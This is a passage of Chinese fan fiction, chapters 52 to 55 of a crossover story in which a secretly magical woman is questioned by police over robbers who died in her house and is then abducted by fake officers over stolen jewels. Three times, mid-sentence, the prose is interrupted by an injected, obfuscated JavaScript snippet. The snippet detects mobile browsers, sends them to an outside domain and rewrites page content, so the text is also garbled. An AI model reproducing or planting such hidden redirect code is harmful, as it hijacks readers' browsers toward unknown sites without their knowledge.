他向后一躺,不满地蹬了蹬腿,气鼓鼓地说:“可恶!如果早知道是港口黑手党的家伙,乱步大人说什么也不会接受贿赂的!” 莉帕警觉地竖起耳朵:“棒棒糖你已经吃了!还有薯片、曲奇、波子汽水和粗点心!” 江户川乱步抱着靠枕直打滚:“乱步大人都买来还给你还不行吗!” “不行,现在后悔晚了!你们社长还收了我的珍妮!”莉帕理直气壮,“还有,只有这家伙是黑手党,我和青理可不是,你讨厌他一个人就行了!” 被针对的太宰治收拢身躯,黑色发丝下的鸢色眼睛微微下垂,幽幽地说:“好过分啊,乱步先生,这是赤裸裸的歧视!人家和森先生又不一样,我可是好人啊!” 江户川乱步撇过头,气呼呼地哼了一声:“狡猾的家伙,快点把这个小鬼带走,乱步大人现在也不想看到她!” 被迁怒的太宰治,领着因为被迁怒的太宰治被迁怒的莉帕(?)离开了现场。 52.第 52 章 警局的问询室里,淡岛青理双腿并拢坐在椅子上,低着头,肩膀微微内收,双手交握搭在身前,一副柔弱无助的可怜模样。 她的对面坐着川崎林之和另一名警察,他们手里拿着准备好的纸笔。 “可以再重复一遍吗?关于强盗团伙是如何发生内讧的。” “……我不知道,”淡岛青理的睫毛颤了颤,言语间带着一丝未消的惊恐,“我当时正在二楼的书房里找储物间的钥匙,突然就闯进来一个凶狠的陌生男人把我绑了起来。我太害怕了,挣扎间摔倒,额头撞到了书桌的桌角,之后就什么都不知道了。” 手中的笔尖在纸上点了点,川崎林之问:“后来呢?你是什么时候醒的,又是如何挣脱绳索报案的?” “是莉帕,”淡岛青理低着头回忆说,“莉帕当时正在隔壁的房间玩耍,听到声音后立刻就躲进了玩偶箱里,劫匪没有发现她。莉帕在箱子里藏了很久,她听见了楼下传来的打斗声。一直到听不见任何声音后,她才从玩具箱爬出来,来到书房给我松绑并叫醒了我。” “当我们小心翼翼地来到楼下时,就发现……就发现了满地的尸体……”淡岛青理说着,身体微微抖动了一下,像是被回忆中的画面吓到了。 川崎林之给她倒了一杯温水,“之后你就报警了?” 淡岛青理点头。 另一名警察突然询问:“那你是如何得知他们是涉案在逃人员呢?据我所知横滨没有任何一家报社报道过相关案件。”几起抢劫案,在充满牛鬼蛇神的横滨根本排不上号。 淡岛青理情绪平缓地回答:“我去过东京,在不久前。东京的报刊上刊登过几人的脸。” 那名警察和川崎林之对视一眼,两人都没有发现任何可疑之处。 川崎林之摩挲着笔记本,认真地说:“那我再问一次,淡岛夫人,你确定那几名劫匪是因为内讧而死的吗?” 淡岛青理惊讶地抬起头:“难道不是吗?” 对上青年警察认真的视线,她眨眨眼,然后又低下头,“抱歉,我好像不能确定,因为我什么也没看见。” 川崎林之合上笔记本站起来,用力地呼出一口气,如释重负一般露出一个轻松的笑容说:“好,那么笔录就进行到这里吧。我送您回去,之后可能还会有警察上门询问,请您保持电话畅通。” 领着身形柔弱的女子走出警局的大门,川崎林之望着湛蓝的天空,内心也一片晴朗。 肯定是之前各种黑暗事件见多了,所以今天才这么疑神疑鬼。真是的,这么柔弱的女性怎么可能杀得掉穷凶极恶的劫匪呢?果然还是想太多了。 他侧目看着女人额头上的伤,多少为自己曾经毫无根据的怀疑感到抱歉。 迈下警局门前的台阶,淡岛青理远远地就看见一大一小两个身影并排走来。 太宰治穿着一身黑色西装走在莉帕身侧,缠着绷带的手向她挥了挥:“呦,青理,我来赎你了。” 淡岛青理的视线落在他的衣服上,嘴角不太明显地落下了几分。 太宰治注意到了,他鼓了鼓腮帮不满地说:“这不是因为急着来接你才没有换衣服吗?要不要这么在意……” 因为某种不知名的原因,淡岛青理不喜欢他穿黑色的衣服,太宰治一直清楚这一点。 他本人对衣服的款式和颜色并没有偏好,可是无奈淡岛青理买的衣服实在不符合港口黑手党的企业风格。 ——太宰治一点都不喜欢穿着白色小熊卫衣在港口黑手党内招摇过市,这会让他觉得自己是动物园里被人围观的猴子:) 所以太宰治每天穿着淡岛青理买的衣服出门,在港口黑手党的更衣室换成黑西装,回家之前再清洗一番换回来。 这还是第一次,他穿着港口黑手党的黑西装出现在她面前。 自以为表现得不算明显的淡岛青理没想到会被看出来,她故作大方地歪头说:“没有哦,太宰穿什么都好看。”穿什么衣服都无所谓啦,也没有很在意,真的。 她向前两步,打算就此打道回府结束这场探案游戏,却突然被身后的警察先生出声叫住了。 “淡岛夫人,”对上女人疑惑的目光,川崎林之扫了一眼缠着绷带的少年,面色沉痛但语气坚定地对她说,“我现在怀疑您涉嫌虐待儿童,请您和我回局里接受调查。” 淡岛青理:……? 经过三人的轮番解释,太宰治还拆掉了脸上的绷带露出了另一只完好无损的鸢色眼睛,认真负责的川崎警官终于接受了“绷带只是时尚单品”的说法,面带歉意地目送几人离开。 面对太宰治的吃瘪,莉帕嘲笑了一路,一直到回到家中还时不时发出几声窃笑。 房子已经被太宰治派人打扫了一遍,专业人士出马,干净整洁得丝毫看不出这里发生过命案。淡岛青理检查了一圈,找不出任何需要自己二次清扫的地方,心情愉悦地去厨房泡了杯茶。 兔子珍妮被送给了武装侦探社的大叔,但是没关系,类似的玩偶莉帕还有很多。她抱着一只棕色小熊猫坐在沙发上哼歌,小腿随着旋律轻快地摆动。 被迫在外拆下本体绷带的太宰治装作听不见那窸窸窣窣的窃笑声,一声不吭地拿着新绷带往脸上缠,脸色臭臭的。 “说起来,”淡岛青理端着茶杯站在厨房门口望着他,“太宰的绷带一直都是缠在右眼上呢,有没有想过换一边呢?” 太宰治觉得这个问题莫名其妙:“哪边不都一样吗?”绑右边只是因为右侧绑起来顺手。 淡岛青理弯眉笑了一下:“也是呢。”她又动作轻快地进厨房烤了一盘小甜饼,行动之间完全看不出来有伤在身。 太宰治人道主义地关心了一下:“伤口没有问题吗?” “完全没有!” 经过几分钟的努力,太宰治缠好了绷带,成功半血复活。 “那个矮子侦探,莉帕一早就认识他吗?贿赂得很及时哦。差一点点我就真的要去牢里赎青理了。” 莉帕将桌子上的报纸卷成一个纸筒扔了过来,不满地说:“少叫别人矮子,你自己也没有多高!” 报纸在太宰治身前摊平,上面是武装侦探社前几日再破迷案的报道。 “多读书,多看报,少胡思乱想。”莉帕发完脾气,看见从厨房走出来的淡岛青理,心虚地缩了缩肩膀。 从咒术高专回来后,青理因为耗尽了魔力不得不停工休养,所以很久没有用过地下室。 本身就不常去地下室的莉帕于是忘记给地下室的结界续费了,这才让那伙劫匪看到了不该看的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967787|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西。闹出这么大动静,她觉得自己要负一半责任。 太宰治将报纸撕开,折成了两只纸青蛙。 “说起来还真是吓了一跳,没想到青理会把他们都杀掉。好好奇哦,他们做了什么让青理这么生气?” 尽管太宰治曾经说过“如果青理酱愿意出手的话务必请我来观赏”这样的话,但其实他完全没有想过淡岛青理真的会出手。毕竟她看起来真的很喜欢扮演普通人的游戏,所以他才向森先生要来了黑蜥蜴的调度权。 但是现在她宁愿自己卷进案子,也要亲自解决掉这几个劫匪,其中的缘由让太宰治非常好奇。 该不会,是看到什么不该看的东西了吧?太宰治开始思索家里是不是藏了什么见不得人的秘密。 至于“劫匪的死亡真的与淡岛青理毫无关系”这种可能性,太宰治想都没想过。 如果她真的那么无辜,莉帕又何必去贿赂那个幼稚鬼侦探呢? 听到询问的淡岛青理微微睁大双眼连连摆手,表示话不能乱说:“那些人真的不是我杀的!”她只是放了一个结界在这里,告诉那些人,只有活到最后的赢家才能出去。 ps.这是从咒术界的“帐”中得到的灵感。 “哎?”太宰治面向厨房软趴趴地趴在沙发靠背上,只露出一颗黑色猫猫头,“那么最后是谁赢了?” 淡岛青理回忆了一下:“……好像是那个穿绿色外套的男人,他把他的同伴都杀了。” “然后呢?青理不会是翻脸不认账反悔了吧?” “怎么可能?我从来说话算话!”淡岛青理受到了质疑,很不开心,“我答应过放他走,只不过我可没有说过什么时候放他走啊。我保证我没有碰他一根手指头……只是稍微加快了一下结界内的时间流速。” 没有止血的药品,受伤的绿色外套男逐渐失血,感受着自己的躯体慢慢失温,最后在绝望中死去。 太宰治竖起耳朵,双眼闪亮亮:“改变时间流速,好厉害!这就是青理的异能吗?可以让我立刻老死吗?” “不能哦,”淡岛青理从厨房走出来把小甜饼放到茶几上,顺手摸了摸他的脑袋,“异能对太宰无效吧?这种死法只能靠太宰自己的努力。对了,不准再去啃我院子里的风车茉莉了,都啃秃了,那点毒毒不死你的。” 太宰治的异能“人间失格”,能通过接触无效化一切异能的异能力,硝子亲测,还能无效化咒力。另经证实,甚至能免疫部分魔法。 是特殊的那一个呢,太宰。 太宰治眨眨眼睛,然后无精打采地垂下了眼帘,不停地用指头戳弄两只纸青蛙,并拖长了声音说:“青理酱果然什么都知道啊。” 果然,自己的异能,做过的事情,甚至可能包括自己的来历,淡岛青理全都一清二楚。真的很好奇啊,为什么会对他了解到这种地步呢? ……什么都知道吗? 淡岛青理端起茶杯。 杯中的红茶随着她的动作晃动,映出破碎模糊的倒影。她看见了自己的脸,一张面无表情但眼神茫然,被溅上了鲜血的脸。 如果她真的什么都知道的话…… 杯中的幻影消散,她轻笑一声,将茶水一饮而尽。 世界无法逆转,而她要让死灵复生。 53.第 53 章 太宰治并没有在家里停留太久。作为港口黑手党开拓新宝石线的负责人,在他离岗的这段时间里他的电话就没有停过,太宰治有一个算一个全部挂掉了。 最后森鸥外的电话打到了淡岛青理这里。 虚伪的成年人先是装模作样地关心了一下淡岛青理的身体,然后明里暗里地暗示没事就让太宰治赶紧回去上班。 面对森鸥外如此丑陋的资本家嘴脸,淡岛青理真的很想把银行卡甩在他的脸上,告诉他,我们家太宰不干了! 但是考虑到太宰治的个人意愿,她还是收回了涌到嘴边的狠话,甚至回话的声音都是轻声细语的,生怕森鸥外不高兴了会给太宰穿小鞋。 ——可恶,就算没了学校也会有别人抓我家孩子当质子! 被森鸥外催得烦不胜烦,太宰治带着一兜小甜饼出门上班了,就是去的方向好像和港口的方向相反。 太宰治走后没多久,另一个少年就按响了淡岛青理家的门铃。 晌午的时候在附近的街区拦截到了一个曾经欺负过“羊”的黑手党,中原中也在将人揍了一顿之后听到附近的居民在讨论早上发生的一起血案。 从两名闲聊的老太太口中得知,有一个强盗集团因为分赃不均大打出手,最后都丧命了。中原中也没听说过什么强盗集团,但不妨碍他觉得死得好。 可是再继续听下去,怎么觉得她们形容的案发地那么耳熟呢?下一个路口左拐,路过一排樱花树,盛开着茉莉与蔷薇花的院子——那不是青理姐家吗?! 没再管脚下哀嚎的黑手党,他急匆匆地来到了淡岛青理的家。院子的大门开着,明显经历了踩踏而东倒西歪的蔷薇花证实了他听到的说法,他心中不由得一紧。 好在,前来为他开门的女人看起来并无大碍。 她穿了一件湖蓝色带金鱼纹样的长袖和服,黑发在脑后盘起,发间插了一把与和服同色的扇形发簪,精致的打扮与平时别无二致。如果不是她的脸上和额角还带着伤,很难让人相信她早上刚刚经历了一场入室抢劫。 淡岛青理很热情地把他迎进了屋内,还帮他泡了壶热茶。 中原中也坐在客厅的沙发上环顾四周。 在装修庭院期间,中原中也经常在这里吃午饭,所以他对淡岛家的装修摆设也还算熟悉。 电视柜旁边摆放的花瓶变了一个颜色,墙上的装饰画换了一个画框。他感受着身下陌生的触感,摸了摸沙发毛茸茸的面料,确定这与之前的沙发也不是同一个。 淡岛青理看出了他的疑惑,一边倒茶一边无奈地说:“因为之前的沙发沾上了太多血迹,已经没办法继续使用了,太宰让人换了一个新沙发。” 经历了那场打斗,屋子里很多东西都被破坏了。被太宰治安排来收拾现场的港口黑手党成员给能够抢救的物品做了清洁,抢救不了的东西也只能另行购买。 中原中也没有见到那幅凌乱血腥的场景,但是从淡岛青理的描述中也能知道当时的情况有多凶险。 他不禁有些后怕。这次是青理姐运气好,遇见的劫匪发生了内讧,下次呢?如果那些劫匪们没有起争执,那么会不会最后丧命的就是莉帕和青理姐了呢? 他开始有些后悔没有在装修庭院的时候阻拦一下。如果不是这过于扎眼的庭院,劫匪或许也不会选中青理姐的家。 但是现在再想这些也没有什么意义,比起已经发生的事情,还是思考一下之后该怎么办吧。 中原中也在屋子里扫视了一圈,只看见了角落里摆弄着小熊猫玩偶的莉帕,没有见到其他身影。 通过之前的相处,他很了解淡岛家的家庭构成。 青理姐的长女叫“津美纪”,是一个温柔善良性格坚毅的女孩,在东京的米花市读高二。平时借住在青理姐的一位朋友家中,只有小长假才会回来。 津美纪的弟弟叫“惠”,一个听起来很像女生的名字。与温柔娴雅的名字不同,他似乎很擅长打架,初中的时候还暴揍过不良。只是今年四月的时候也去了东京上学,据说是在一所地处偏远的宗教学校,平时也很少回家。 再然后,是经常听到的“太宰”,除莉帕外唯一一个留在青理姐家中的孩子。在青理姐口中,那是一个身体柔弱心地善良内心敏感冰雪聪明的忧郁美少年。 中原中也不想深究这形容中掺杂了多少水分,只是单从“体弱”这一项分析,他就知道这是个遇到危险时指望不上的菜鸡。 最后是莉帕……中原中也看了一眼正在给小熊猫穿裙子的萝莉,默默移开了视线。 不要对一个小学一年级的孩子要求太高。 羊的驻地离这里较远,他还有一群小羊要照顾,没办法一直在这附近巡逻。而一旦遇到突发状况,青理姐这柔弱的身体素质根本没机会给他打求救电话。 思来想去都想不出保证淡岛青理安全的办法,橘发少年坐在沙发上,感受到了深深的无力。 他该拿什么拯救这柔弱可欺的一家! 中原中也想破了头皮也想不出这局该怎么赢,偏偏当事人淡岛青理还在他对面没心没肺地展示新买的衣服。 “怎么样中也?是不是很好看?我问了好多个导购员,她们都给我推荐这一款,据说现在很流行哦。”淡岛青理手里拎着一件黑白相间的棒球服外套,翻来覆去地向他展示自己的购物成果,兴高采烈的样子完全看不出存在任何担忧。 衣服确实很好看,经典的黑衣白袖配色,袖口处和衣领上点缀了一些条纹,左胸前的位置则是用白线绣了一个蜘蛛的图案。中原中也在一家店的橱窗里见到过,店员给这件衣服搭配了一条米色直筒裤,穿在假人模特身上很漂亮。 当然,旁边价牌上一连串的数字九也很漂亮。 青理姐真的很宠孩子,中原中也想。 明明她自己的衣服都是些老旧的款式,从褪色程度和水洗痕迹上看已经穿了很多年,但是从来不吝啬于给其他人买新衣。 比如莉帕身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972339|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的蓬蓬裙,虽然都是黑色,但中原中也用自己5.0的视力保证,莉帕的衣服每天就没有重样过! 能在小小的横滨买到那么多不重样的黑色蓬蓬裙,青理姐也是很努力了。 淡岛青理还在扑闪着明亮的眼睛等他答复,中原中也用手指抠了抠脸颊,犹豫着回答:“确实很好看……”可是这件衣服是买给谁穿的啊? 他见过那个“惠”的照片,以他的身高来说这件衣服未免小了一些。至于那个“太宰”,柔弱的忧郁少年和棒球服的气质不可能搭的吧? “太好了!那赶紧穿上试一试吧!” 那件昂贵的衣服被塞到了他的怀里。 “啊?”中原中也抱着衣服愣住了,“是……给我的吗?” “当然了,棒球服很适合中也哦。” 中原中也呆呆地被推到穿衣镜前,身上的外套被扒掉,换上了那件新衣。淡岛青理目测的尺码很准,衣服穿上之后非常合身。 “中也喜欢吗?”淡岛青理问。 “嗯……喜欢。”中原中也看着镜中自己陌生的穿着,低声回答。黑白的配色或许有些沉闷,但是与他明艳的橘色发丝相得益彰。 突然,他的目光透过镜子落在了身后的淡岛青理身上。经过刚刚的一系列活动,她原本规整的衣襟散开了,露出了精致的锁骨。 “青理姐,你的护身符呢?” 中原中也记得她一直随身携带一枚蓝色的护身符,还曾经拿出来跟松本小姐炫耀过,是“惠”送给她的。但是现在她脖颈处空荡荡,挂着护身符的细绳不见踪影。 淡岛青理抬手覆上脖颈,手指微微蜷缩了一下。 “啊,昨晚洗澡摘下来忘记带了,”她轻笑了一下,“还好忘记了,不然在今早的磕碰中弄坏的话我可是会心疼的。” 中原中也投来不赞同的目光:“护身符还是要带在身上才行,如果你好好带着说不定今早就不会磕到头了。” 他不理解这种想法。不管有没有用,护身符就是要带在身上替人挡灾的,人把护身符保护起来是什么事啊。 提到护身符,他又想到了淡岛家在外上学的两个孩子。 “出了这种事情,不通知他们吗?” 淡岛青理正在用梳子给中也梳头发,闻言有些心虚地说:“也不是什么大事嘛,就不要让津美纪和惠担心了。” 这还不算大事,那什么才算?中原中也不理解。 梳子将发丝全部理顺,女人手里拿着一只带有蓝宝石的发卡在他头顶比划,最后发现戴在哪里都不合适。 “中也现在的头发有些短了,有没有考虑过留长呢?” 中原中也有些怔愣。长发吗?确实没有想过。 就在他还在思考这项提议的时候,屋门突然被用力地敲响了。 敲打声很急促也很用力,透露着来人的不耐烦。 淡岛青理回头,和望过来的莉帕对上了视线。 “会是谁呢?” 54.第 54 章 不知是谁在按门铃,淡岛青理放下手中的发卡要去开门,却被中原中也拦住了。 “我去开。” 他起身走到玄关,谨慎地打开了门。 拉开房门,面前站的是几个身穿警服的高大男人。 为首的警察用一种打量的目光上下扫视他一番,然后掏出警察证,语气强硬地问:“哪个是淡岛青理?” 跟在中原中也身后的淡岛青理走了出来,温顺地说:“我是,请问发生什么事了吗?” 男人二话不说从口袋里掏出一副手铐扣在了她的手上:“你私藏枪支杀人害命,我宣布你被捕了,跟我们走吧。” “哎?!”淡岛青理瞪圆了眼睛。 这几名警察明显不像上午来的几人好说话,一句多余的解释也没有,拽着淡岛青理就往外走。淡岛青理被拽了一个趔趄,好在中原中也及时拉住了她。 橘发少年用力挥开那名警察的手,将淡岛青理拉到身后,目光警惕地说:“案子不是已经结束了吗?你们有什么证据抓人?” 男人被他推得后退了几步,稳住身形后大为光火:“竟然敢动手?一起带走!” 身后的警察拿着枪和警棍一齐涌了上来,中原中也低声骂了一句“混蛋”,身上开始隐隐浮现红光。 “等一下等一下!”淡岛青理匆忙间扯着中原中也的袖子向后拽,“不要动手,我跟你们走!他只是来做客的孩子,不关他的事。” 并不是信不过中也的武力,只是如果让中也动手的话,他们一定会被扣上一个拒捕袭警的罪名,到时候她平静的日子就一去不复返了。而且,她也想弄清楚这是怎么一回事,不如就跟他们走一趟好了。 为首的警察似乎也不想闹出动静来,听了她的话后阴狠地瞪了中原中也一眼,然后一挥手:“带走!” 中原中也着急地说:“等一下青理姐,我可以……” “没事中也,”淡岛青理被警察拽出门外,费力地回头安慰道,“我不会有事的。” 眼看着淡岛青理被带上警车离开,中原中也用力锤了一下门框,咬牙切齿:“可恶!那些警察怎么回事?!” “不是警察,”莉帕不知何时出现在门口,金色的眼睛凝视着警车离开的方向,“他们当中,至少有一个人不是警察。” · 顺着鹤见川漂流到港口黑手党附近,太宰治刚爬上岸,口袋里的手机就又响了。 “快到了快到了,不要再催了。”他吐了一口河水,有气无力地说着,抬起沉重的手臂从湿漉漉的西装口袋里摸出不停振动的手机。 手机非常顽强地没有进水,亮起的屏幕上显示的却不是他以为的森鸥外的号码。 他愣了一下,接通电话将手机放到耳边。 “……” 电话那边说了些什么,太宰治举着电话半天没有反应。 ……不是,什么叫青理又被警察抓走了?! · 坐在警车上时淡岛青理感觉到了不对劲,对面那个一直盯着她的灰发警察似乎对她充满恶意。 原本她以为是江户川乱步临时反悔,告知了警方她在这桩命案中的所作所为,所以才会有警察上门。 但是仔细想想也不太合理。 没有人知道她是一名魔女,她的那些手段只会被归类为异能,那么看透杀人手法的名侦探应该会把她交给异能特务科才对,而不是让几个一看就没有任何异常能量波动的警察来押送她。 而且,刚刚那名警察说的“私藏枪支”是怎么回事?开玩笑,她很遵纪守法的,怎么可能会私藏枪支?而且她杀人需要枪吗? 思来想去也想不明白,淡岛青理决定摆烂,反正总会有人来捞她的。 不好意思,她就是这么看得开。毕竟阴谋诡计从来都不是她的强项,她只擅长杀人。 在躺平之后,淡岛青理的心情豁然开朗,她透过车窗欣赏沿途的街景,没有一点坐警车的紧张感。 窗外的景色飞速掠过,她发现警车行驶的路线有些陌生,这明显不是通往警局的路。 淡岛青理意识到了事情发展的不对劲。 “那个……你们是要带我去哪?”她晃了晃手铐,吸引几人的注意力。 坐在她对面的警察闻言,忽然咧嘴笑了一下。 有着一头灰发的男人从腰间掏出手枪,黑洞洞的枪口直指淡岛青理的脑袋。如此违反执法纪律的事情,周围的警察竟然没有一个人出声阻止。 怎么会有人阻拦呢?毕竟这次的出警人员,都是和星野会有利益交换的黑/警啊。手持枪械的灰发男人其实是伪装成警察的星野会成员,他这次来的目的就是将淡岛青理带回星野会。 几天前,星野会名下的一家珠宝店遭到了抢劫。 起初他们以为这是外来人不长眼才敢抢到星野会头上,将宝石劫回来再给这些人一点教训就完了,没想到在回程途中遭到了竹吉座的拦截。 对方不知道是从哪里得到了这批宝石被劫的消息,来势汹汹目的明确,就是为了抢走这批宝石。 更诡异的事情发生了,运送宝石的车子在交战过程中被炸了个人仰马翻,放在后座的保险柜也滚落出来。原本亮银色的金属保险柜被炸得破败不堪,变形的柜门无法遮挡视野,保险柜里面空空荡荡。 一批价值几亿日元的宝石不翼而飞了。 星野会首领震怒,下令立刻彻查此事,原本负责宝石走私的干部遭到了责骂。 干部受了气不能向上面发火,只能把气撒在底下的人身上。于是经过层层加码之后,灰发男人不仅挨了一顿骂,还在审讯室里遭到了一顿毒打。 因为他就是当时运送宝石的那辆车的驾驶员,在那场爆炸中,车上的人只有他活了下来。 受到拷问的他觉得这就是一场无妄之灾!他敢对天发誓,自从保险柜被放到他的车上,就没有人碰过保险柜一下,鬼知道那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976680|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些宝石去哪儿了! 他甚至想过,肯定是追讨小队的人在把宝石抢回来的时候就偷偷藏起来了,保险箱一开始就是空的。但是这种大逆不道的话他不敢说,只能在心里偷偷骂两句。 为了追查这一批宝石的下落,他们和很多势力都起了冲突,但是在得罪了一圈人后仍然不见宝石的踪影。首领在组织里大发雷霆,组织上下人心惶惶。 这个时候,和星野会一直有利益往来的横滨警署的一名警部给他们传递了消息,抢劫了那批宝石的强盗团伙被发现于一居民家中身亡,死因竟然是内讧。 用脑子想,一个横滨的普通居民家里能有什么值钱的玩意能让一个见多识广的抢劫团伙起内讧?就算真的有贵重物品,还能贵过那批价值几亿的宝石吗?在抢劫了珠宝店之后还一起喝酒庆祝的强盗团伙,因为抢了一个居民的家起内讧? 不可能,绝对不可能! 经过讨论,大家一致认为,那个叫游隼的强盗团伙一定是用什么手段骗过了追讨小队,那批宝石还在他们手里!他们潜入居民家中也不一定是为了抢劫,说不定就是为了找个地方分赃。一定是在分配宝石的时候因为分赃不均起了争执,最后才全部惨死! 通了,逻辑通了! 众人纷纷表示一定是这样,从一开始游隼就没有把宝石交出来! 这场推理进行得酣畅淋漓,首领带头结案,众人齐声鼓掌。 至于追讨小队的意见,无人在意。一群连被人骗了都不知道的蠢货! 好了,宝石失踪案破案了,那么新的问题来了,现在这批宝石去哪儿了? 游隼的成员全部死亡,警方在现场没有发现那批宝石的踪迹,那么宝石到了谁的手里? 最开始,他们怀疑是到场的警察私吞了宝石。但是传递消息的警部表示,出现场的是一个以顽固不懂变通出名的愣头青警察带领的小队,私吞宝石的可能性约等于零。 那么可能性就只有一个了!那间住宅的主人在警察到来之前将宝石藏了起来,宝石就在那个叫淡岛青理的女人手里! 在得知女人已经被送离警署之后,他们立刻要求警部在游隼死亡案件上做文章,以犯下杀人罪的名头将女人抓走,然后偷偷运送到星野会进行审问。 行动开始前,灰发男人毛遂自荐,为了将功补过积极报名参加这次行动。他还不信了,运送宝石不成,押运一个女人还能出错吗? 想到这里,男人得意洋洋地举着枪,自信开口:“说,你把宝石藏在什么地方了?” 他的任务只是把人带回去,但是面对一个手无缚鸡之力的女人,他忍不住打起了别的主意。如果能在将人带回星野会之前就审讯出宝石的下落,首领看在他这么能干的份上绝对会给他升职的! 听到“宝石”二字,淡岛青理的睫毛颤了颤。 她面上波澜不惊,内心疯狂尖叫—— 啊?!不是,他怎么知道我偷了宝石啊?! 55.第 55 章 无情的宝石小偷根本没认出来眼前的假警察就是当时运送宝石车辆的驾驶员。 淡岛青理不语,只是一味地震惊。 宝石一直都是储存魔力运转魔法的最佳载体,作为一个在地下建了一整个魔药工坊的魔女,她的宝石储备一直处于紧缺的状态。 某天夜里,在她出门抓咒灵做研究材料的时候遇见了两伙黑手党成员在打架。路边停着一辆黑色的丰田,冒着烟的车头显示这辆车是被逼停的。淡岛青理感受到了车内飘来的宝石的气息,仿佛有一只无形的手伸到了她的面前不停地挑逗她,勾引她去犯罪。 她看了看打得热火朝天的两队人马,面色正直地别过头,手却很诚实地画了一个小型魔法阵将宝石从车内拿出来揣进了兜里。 ——俺寻思这也没人要啊(吹口哨)(目移) 她自认为将事情做得天衣无缝,在她家发现宝石的那伙人也都已经守口如瓶,所以眼前的灰发男是怎么知道她拿了宝石的? 就连江户川乱步都不一定知道是她拿了宝石,眼前其貌不扬的家伙竟然猜出来了! 小小的横滨竟然卧虎藏龙,人类,恐怖如斯! 她按捺住内心的震惊,嘴硬地说:“什么宝石?我不知道啊,你们是不是搞错了?” 灰发男人嗤笑一声,手里的枪用力怼了怼女人的额头,凶狠地威胁道:“别跟我装傻,你知道我说的是什么。游隼因为那批宝石起了内讧,警察来了宝石却不见踪影,一定是你给藏起来了!我警告你,乖乖把宝石交出来我还能留你一条活路!一个两个都来打星野会东西的主意,我看你们是活得不耐烦了!” 淡岛青理没有装傻,她是真的听得一愣一愣的。 恐怖,太恐怖了!这人竟然连游隼在她家里发现了宝石都知道!怎么做到的?难道有人在监视她?为什么她没察觉到?! 可恶,那她偷偷建魔药工坊的事情不会也被人发现了吧?万一被魔女协会知道就糟糕了! 感觉到危机的淡岛青理视线飘忽不定。 想将眼前的人灭口,可万一在他背后还有人知道这个消息怎么办?到底有多少人知道了她的秘密?! 淡岛青理很崩溃,身为魔女竟然被人类威胁了,说出去也太丢脸了! 看来她必须跟男人回去了。 她暗暗咬牙。必须搞清楚是怎么一回事,然后偷偷地让所有知情的人都闭嘴…… 灰发男人见她没有反应,再次加重了手上的力道:“赶紧说出来,不然我就……” “叮铃——” 车里突然出现了一道铃铛的响声,所有人都紧张地举起枪。 “什么声音?!” 灰发男人坐直身体四处张望,没有发现任何异常。 行驶在宽阔道路上的警车突然晃动了一下,驾驶座上的警察紧张地握紧了方向盘,不知道发生了什么事。 突然,前方道路上有粉色的光晕一闪而过,驾驶员难受地眨了一下眼睛。再睁开眼,前方原本平坦的道路突然变成了断崖,而他们的车正朝着悬崖疾驰而去! “怎么回事?!” 驾驶员用力踩下刹车并猛打方向盘,车里的几人在惯性作用下瞬间变得东倒西歪。 灰发男人的后脑勺被重重地磕了一下,他大喊:“你在干什么?!蠢货!” 驾驶座上的警察用更崩溃的声音尖叫:“前面是悬崖!!” 事情发生得太突然,刹车根本不管用,警车以极快的速度冲出了悬崖并开始向下坠落,而下面是一望无际的深蓝色海水。 淡岛青理在变故发生的瞬间用力抓住了车门上的把手,这让她不至于变成一颗在车里到处乱撞的弹球。 感受到突如其来的失重感,灰发男人咬牙举起了枪瞄准淡岛青理。虽然不知道发生了什么,但一定和这个女人有关,他不会让她好过的! “叮铃——” 在子弹出膛的那一刻,铃铛声再次响起,粉色的光晕在面前闪过。灰发男人还没有看清发生了什么,警车就重重地坠入了海里,砸出了巨大的浪花。 手腕被一只娇嫩的手拽着,淡岛青理奔跑在悬崖上的树林中,望着眼前不断飘动的粉色长发,震惊地出声:“猫?!” “喵!”粉发少女回头兴奋地叫了一声,耳朵上的铃铛叮当作响,“吾辈发现小青被抓走了,吾辈救了小青!” 眼前的少女正是白银之王阿道夫·K·威兹曼的氏族成员,可以称呼她为“吾辈”,当然,也可以直接称呼她为“猫”。 像猫一样活泼又任性的少女此时特别兴奋,她眨动着一黄一蓝的猫猫瞳,欢快地说:“呐,小青,你一定是遇到困难了对不对?不要怕!吾辈来了,吾辈帮你打坏人!喵哈哈哈哈哈哈!” 淡岛青理十分崩溃。谢谢你,猫,但我不想变通缉犯啊! · 警车遇袭的事情很快传回了星野会,然后又传到了横滨警署的那名警部耳中。 “竟然敢拒捕袭警?!立刻通知所有市警,必须把她抓回来!”接到星野会授意的警部立刻下达了指令,势必要把胆敢挑衅他威严的人逮捕归案。 